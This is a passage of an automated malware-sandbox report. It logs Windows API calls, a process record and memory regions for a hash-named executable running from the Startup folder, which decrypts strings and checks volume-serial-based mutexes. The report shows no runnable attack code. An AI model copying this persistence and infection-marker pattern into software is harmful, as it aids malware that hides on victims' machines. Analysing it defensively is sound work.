[0132.973] CryptSetKeyParam (hKey=0x755198, dwParam=0x1, pbData=0x45fda0, dwFlags=0x0) returned 1 [0132.973] CryptDecrypt (in: hKey=0x755198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xba1438, pdwDataLen=0x45fd6c | out: pbData=0xba1438, pdwDataLen=0x45fd6c) returned 1 [0132.973] CryptDestroyKey (hKey=0x755198) returned 1 [0132.974] GetTickCount () returned 0x7701 [0132.974] GetLastError () returned 0x0 [0132.974] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x45fddc, cchData=32 | out: lpLCData="\x03") returned 16 [0132.978] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x0, Size=0x1c) returned 0xba1450 [0132.978] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x0, Size=0x1c) returned 0xba1478 [0132.978] GetVersion () returned 0x1db10106 [0132.978] GetCurrentProcess () returned 0xffffffff [0132.978] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x45fdc4 | out: TokenHandle=0x45fdc4*=0x84) returned 1 [0132.978] GetTokenInformation (in: TokenHandle=0x84, TokenInformationClass=0x14, TokenInformation=0x45fdbc, TokenInformationLength=0x4, ReturnLength=0x45fdc0 | out: TokenInformation=0x45fdbc, ReturnLength=0x45fdc0) returned 1 [0132.978] CloseHandle (hObject=0x84) returned 1 [0132.978] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x0, Size=0x20) returned 0xba14a0 [0132.978] CryptImportKey (in: hProv=0x7551f0, pbData=0x45fcb8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x45fd20 | out: phKey=0x45fd20*=0x755518) returned 1 [0132.978] CryptSetKeyParam (hKey=0x755518, dwParam=0x1, pbData=0x45fd08, dwFlags=0x0) returned 1 [0132.978] CryptDecrypt (in: hKey=0x755518, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xba14a0, pdwDataLen=0x45fcd4 | out: pbData=0xba14a0, pdwDataLen=0x45fcd4) returned 1 [0132.978] CryptDestroyKey (hKey=0x755518) returned 1 [0132.978] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x1e) returned 0xba14c8 [0132.978] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x0, Size=0x1e) returned 0xba14f0 [0132.978] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x0, Size=0x90) returned 0xba1518 [0132.978] CryptImportKey (in: hProv=0x7551f0, pbData=0x45fc90*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x45fcf8 | out: phKey=0x45fcf8*=0x755518) returned 1 [0132.978] CryptSetKeyParam (hKey=0x755518, dwParam=0x1, pbData=0x45fce0, dwFlags=0x0) returned 1 [0132.978] CryptDecrypt (in: hKey=0x755518, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xba1518, pdwDataLen=0x45fcac | out: pbData=0xba1518, pdwDataLen=0x45fcac) returned 1 [0132.978] CryptDestroyKey (hKey=0x755518) returned 1 [0132.979] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba1518 | out: hHeap=0xba0000) returned 1 [0132.979] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xba14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0132.979] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba14f0 | out: hHeap=0xba0000) returned 1 [0132.979] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba14a0 | out: hHeap=0xba0000) returned 1 [0132.979] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x45fd60, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x45fd60*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0132.980] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba14c8 | out: hHeap=0xba0000) returned 1 [0132.980] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x0, Size=0x40) returned 0xba14a0 [0132.980] CryptImportKey (in: hProv=0x7551f0, pbData=0x45fcec*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x45fd54 | out: phKey=0x45fd54*=0x755518) returned 1 [0132.980] CryptSetKeyParam (hKey=0x755518, dwParam=0x1, pbData=0x45fd3c, dwFlags=0x0) returned 1 [0132.980] CryptDecrypt (in: hKey=0x755518, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xba14a0, pdwDataLen=0x45fd08 | out: pbData=0xba14a0, pdwDataLen=0x45fd08) returned 1 [0132.980] CryptDestroyKey (hKey=0x755518) returned 1 [0132.980] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x34) returned 0xba14e8 [0132.980] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x0 [0132.980] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\22508443A5AF01") returned 0x88 [0132.980] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0132.980] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba14a0 | out: hHeap=0xba0000) returned 1 [0132.981] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba14e8 | out: hHeap=0xba0000) returned 1 [0132.981] ReleaseMutex (hMutex=0x88) returned 1 [0132.981] CloseHandle (hObject=0x88) returned 1 [0132.981] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x0, Size=0x20) returned 0xba14a0 [0132.981] CryptImportKey (in: hProv=0x7551f0, pbData=0x45fccc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x45fd34 | out: phKey=0x45fd34*=0x755518) returned 1 [0132.981] CryptSetKeyParam (hKey=0x755518, dwParam=0x1, pbData=0x45fd1c, dwFlags=0x0) returned 1 [0132.981] CryptDecrypt (in: hKey=0x755518, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xba14a0, pdwDataLen=0x45fce8 | out: pbData=0xba14a0, pdwDataLen=0x45fce8) returned 1 [0132.981] CryptDestroyKey (hKey=0x755518) returned 1 [0132.981] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x1e) returned 0xba14c8 [0132.981] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x0, Size=0x1e) returned 0xba14f0 [0132.981] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x0, Size=0x90) returned 0xba1518 [0132.981] CryptImportKey (in: hProv=0x7551f0, pbData=0x45fca4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x45fd0c | out: phKey=0x45fd0c*=0x755518) returned 1 [0132.981] CryptSetKeyParam (hKey=0x755518, dwParam=0x1, pbData=0x45fcf4, dwFlags=0x0) returned 1 [0132.981] CryptDecrypt (in: hKey=0x755518, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xba1518, pdwDataLen=0x45fcc0 | out: pbData=0xba1518, pdwDataLen=0x45fcc0) returned 1 [0132.981] CryptDestroyKey (hKey=0x755518) returned 1 [0132.982] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba1518 | out: hHeap=0xba0000) returned 1 [0132.982] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xba14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0132.982] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba14f0 | out: hHeap=0xba0000) returned 1 [0132.982] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba14a0 | out: hHeap=0xba0000) returned 1 [0132.982] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x45fd74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x45fd74*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0132.982] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba14c8 | out: hHeap=0xba0000) returned 1 [0132.982] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x0, Size=0x40) returned 0xba14a0 [0132.982] CryptImportKey (in: hProv=0x7551f0, pbData=0x45fd00*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x45fd68 | out: phKey=0x45fd68*=0x755518) returned 1 [0132.983] CryptSetKeyParam (hKey=0x755518, dwParam=0x1, pbData=0x45fd50, dwFlags=0x0) returned 1 [0132.983] CryptDecrypt (in: hKey=0x755518, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xba14a0, pdwDataLen=0x45fd1c | out: pbData=0xba14a0, pdwDataLen=0x45fd1c) returned 1 [0132.983] CryptDestroyKey (hKey=0x755518) returned 1 [0132.983] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x34) returned 0xba14e8 [0132.983] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x88 [0132.983] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102 [0132.983] CloseHandle (hObject=0x88) returned 1 [0132.983] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba14a0 | out: hHeap=0xba0000) returned 1 [0132.984] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba14e8 | out: hHeap=0xba0000) returned 1 [0132.984] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba1450 | out: hHeap=0xba0000) returned 1 [0132.984] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba1478 | out: hHeap=0xba0000) returned 1 [0132.984] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba1438 | out: hHeap=0xba0000) returned 1 [0132.984] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba12b8 | out: hHeap=0xba0000) returned 1 [0132.985] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba22d0 | out: hHeap=0xba0000) returned 1 [0132.985] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba1280 | out: hHeap=0xba0000) returned 1 [0132.986] GetModuleHandleW (lpModuleName="mscoree.dll") returned 0x0 [0132.986] ExitProcess (uExitCode=0x0) [0132.986] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba07d0 | out: hHeap=0xba0000) returned 1 Process: id = "13" image_name = "34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" filename = "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" page_root = "0x6a5d000" os_pid = "0x770" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x6fc" cmd_line = "\"C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fcb1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3003 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3004 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3005 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3006 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3007 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3008 start_va = 0xb0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 3009 start_va = 0x1f0000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 3010 start_va = 0x3b0000 end_va = 0x3c4fff monitored = 1 entry_point = 0x3b6652 region_type = mapped_file name = "34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe") Region: id = 3011 start_va = 0x77440000 end_va = 0x775e8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3012 start_va = 0x77620000 end_va = 0x7779ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3013 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3014 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3015 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3016 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3017 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3018 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3019 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3020 start_va = 0x3d0000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 3021 start_va = 0x73db0000 end_va = 0x73deefff monitored = 0 entry_point = 0x73dde088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3022 start_va = 0x73d50000 end_va = 0x73dabfff monitored = 0 entry_point = 0x73d8f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3023 start_va = 0x73d40000 end_va = 0x73d47fff monitored = 0 entry_point = 0x73d420f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3024 start_va = 0x77320000 end_va = 0x7743efff monitored = 0 entry_point = 0x77335340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3025 start_va = 0x753b0000 end_va = 0x754bffff monitored = 0 entry_point = 0x753c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3026 start_va = 0x77320000 end_va = 0x7743efff monitored = 0 entry_point = 0x77335340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3027 start_va = 0x77320000 end_va = 0x7743efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077320000" filename = "" Region: id = 3028 start_va = 0x77220000 end_va = 0x77319fff monitored = 0 entry_point = 0x7723a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3029 start_va = 0x77220000 end_va = 0x77319fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077220000" filename = "" Region: id = 3030 start_va = 0x560000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 3031 start_va = 0x753b0000 end_va = 0x754bffff monitored = 0 entry_point = 0x753c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3032 start_va = 0x75850000 end_va = 0x75896fff monitored = 0 entry_point = 0x758574c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3033 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3034 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3035 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3058 start_va = 0x230000 end_va = 0x296fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3116 start_va = 0x73a20000 end_va = 0x73a31fff monitored = 0 entry_point = 0x73a21200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 3117 start_va = 0x75590000 end_va = 0x755c4fff monitored = 0 entry_point = 0x7559145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3118 start_va = 0x75c30000 end_va = 0x75cdbfff monitored = 0 entry_point = 0x75c3a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3119 start_va = 0x770e0000 end_va = 0x771cffff monitored = 0 entry_point = 0x770f0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3120 start_va = 0x75170000 end_va = 0x751cffff monitored = 0 entry_point = 0x7518a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3121 start_va = 0x75160000 end_va = 0x7516bfff monitored = 0 entry_point = 0x751610e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3122 start_va = 0x756f0000 end_va = 0x75708fff monitored = 0 entry_point = 0x756f4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3123 start_va = 0x751d0000 end_va = 0x751d5fff monitored = 0 entry_point = 0x751d1782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3124 start_va = 0x75200000 end_va = 0x752fffff monitored = 0 entry_point = 0x7521b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3125 start_va = 0x77050000 end_va = 0x770dffff monitored = 0 entry_point = 0x77066343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3126 start_va = 0x775f0000 end_va = 0x775f9fff monitored = 0 entry_point = 0x775f36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3127 start_va = 0x75300000 end_va = 0x7539cfff monitored = 0 entry_point = 0x75333fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3128 start_va = 0x75650000 end_va = 0x756effff monitored = 0 entry_point = 0x756649e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3129 start_va = 0x75ef0000 end_va = 0x76b39fff monitored = 0 entry_point = 0x75f71601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 3130 start_va = 0x76cd0000 end_va = 0x76d26fff monitored = 0 entry_point = 0x76ce9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3131 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3145 start_va = 0x70000 end_va = 0x8dfff monitored = 0 entry_point = 0x8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3146 start_va = 0x770000 end_va = 0x8f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 3147 start_va = 0x70000 end_va = 0x8dfff monitored = 0 entry_point = 0x8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3148 start_va = 0x76ff0000 end_va = 0x7704ffff monitored = 0 entry_point = 0x7700158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3149 start_va = 0x754c0000 end_va = 0x7558bfff monitored = 0 entry_point = 0x754c168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3162 start_va = 0x900000 end_va = 0xa80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000900000" filename = "" Region: id = 3163 start_va = 0xa90000 end_va = 0x1e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a90000" filename = "" Region: id = 3193 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3194 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 3195 start_va = 0x1e90000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 3196 start_va = 0x73a00000 end_va = 0x73a16fff monitored = 0 entry_point = 0x73a03573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3197 start_va = 0x1b0000 end_va = 0x1ebfff monitored = 0 entry_point = 0x1b128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3198 start_va = 0x1b0000 end_va = 0x1ebfff monitored = 0 entry_point = 0x1b128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3199 start_va = 0x1b0000 end_va = 0x1ebfff monitored = 0 entry_point = 0x1b128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3200 start_va = 0x1b0000 end_va = 0x1ebfff monitored = 0 entry_point = 0x1b128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3201 start_va = 0x1b0000 end_va = 0x1ebfff monitored = 0 entry_point = 0x1b128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3202 start_va = 0x739c0000 end_va = 0x739fafff monitored = 0 entry_point = 0x739c128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Thread: id = 111 os_tid = 0x774 [0132.971] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afdf4 | out: lpSystemTimeAsFileTime=0x1afdf4*(dwLowDateTime=0xf71d60c0, dwHighDateTime=0x1d93032)) [0132.971] GetCurrentProcessId () returned 0x770 [0132.971] GetCurrentThreadId () returned 0x774 [0132.971] GetTickCount () returned 0x7701 [0132.971] QueryPerformanceCounter (in: lpPerformanceCount=0x1afdec | out: lpPerformanceCount=0x1afdec*=1699391726376) returned 1 [0133.025] GetStartupInfoW (in: lpStartupInfo=0x1afd98 | out: lpStartupInfo=0x1afd98*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1afdfc, hStdError=0x3b8ca4)) [0133.025] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0133.025] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2070000 [0133.026] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x753b0000 [0133.026] GetProcAddress (hModule=0x753b0000, lpProcName="FlsAlloc") returned 0x753c4ee3 [0133.026] GetProcAddress (hModule=0x753b0000, lpProcName="FlsGetValue") returned 0x753c1252 [0133.026] GetProcAddress (hModule=0x753b0000, lpProcName="FlsSetValue") returned 0x753c41c0 [0133.026] GetProcAddress (hModule=0x753b0000, lpProcName="FlsFree") returned 0x753c354f [0133.027] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x214) returned 0x20707d0 [0133.027] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x753b0000 [0133.027] GetCurrentThreadId () returned 0x774 [0133.028] GetStartupInfoW (in: lpStartupInfo=0x1afd34 | out: lpStartupInfo=0x1afd34*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3b726a, hStdOutput=0x3b75a3, hStdError=0x20707d0)) [0133.028] RtlAllocateHeap 